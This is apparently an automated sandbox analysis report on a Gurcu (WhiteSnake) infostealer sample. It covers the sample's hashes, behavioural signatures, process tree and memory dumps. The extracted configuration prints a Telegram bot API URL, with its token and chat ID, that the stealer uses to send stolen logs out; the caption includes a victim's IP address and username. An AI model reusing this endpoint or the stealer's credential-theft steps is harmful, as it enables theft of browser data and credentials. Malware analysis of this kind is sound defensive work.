Analysis
- max time kernel
95s - max time network
143s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
15/12/2024, 03:53
General
- Target 9d543df8d1d705870da23de3f9a43f467fe998836fd00d7ffff1ea3c4701e5f9.exe
- Size 5.6MB
- Sample241215-ef2c6stjev
- SHA256 9d543df8d1d705870da23de3f9a43f467fe998836fd00d7ffff1ea3c4701e5f9
Malware Config
Extracted
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gurcu
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https://api.telegram.org/bot7822020748:AAGrioLZvBM_jgQaep0KKTha1_5Kzmwl62s/sendDocument?chat_id=7538374929&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan
Signatures
- Gurcu family
- Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 2 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 52 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 16 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\9d543df8d1d705870da23de3f9a43f467fe998836fd00d7ffff1ea3c4701e5f9.exe"C:\Users\Admin\AppData\Local\Temp\9d543df8d1d705870da23de3f9a43f467fe998836fd00d7ffff1ea3c4701e5f9.exe"1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpB333.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpB333.tmp.bat2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\chcp.comchcp 650013⤵
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C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 400"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\find.exefind ":"3⤵
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C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak3⤵
- Delays execution with timeout.exe
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C:\Users\Admin\AppData\Roaming\AdminUserCash\tempdatalogger.exe"C:\Users\Admin\AppData\Roaming\AdminUserCash\tempdatalogger.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpDC46.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpDC46.tmp.bat4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\chcp.comchcp 650015⤵
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
sqlite.interop.dll
tmpB333.tmp.bat
tmpDC46.tmp.bat
CREDIT~1
tempdatalogger.exe
memory/400-1-0x0000027F57BB0000-0x0000027F58148000-memory.dmp
memory/400-6-0x0000027F59E50000-0x0000027F59E5A000-memory.dmp
memory/400-7-0x0000027F59F70000-0x0000027F59FE6000-memory.dmp
memory/400-8-0x00007FFD37FB0000-0x00007FFD38A71000-memory.dmp
memory/400-12-0x00007FFD37FB0000-0x00007FFD38A71000-memory.dmp
memory/400-0-0x00007FFD37FB3000-0x00007FFD37FB5000-memory.dmp
memory/2808-20-0x000001D566C40000-0x000001D566CAA000-memory.dmp
memory/2808-23-0x000001D566DB0000-0x000001D566E00000-memory.dmp
memory/2808-24-0x000001D566D60000-0x000001D566D82000-memory.dmp
memory/2808-26-0x000001D567A80000-0x000001D567ABA000-memory.dmp
memory/2808-27-0x000001D54D010000-0x000001D54D036000-memory.dmp
memory/2808-28-0x000001D567AC0000-0x000001D567DEE000-memory.dmp
memory/2808-54-0x000001D566E60000-0x000001D566E72000-memory.dmp
memory/2808-22-0x000001D566CB0000-0x000001D566D62000-memory.dmp
memory/2808-19-0x000001D54CFE0000-0x000001D54CFFE000-memory.dmp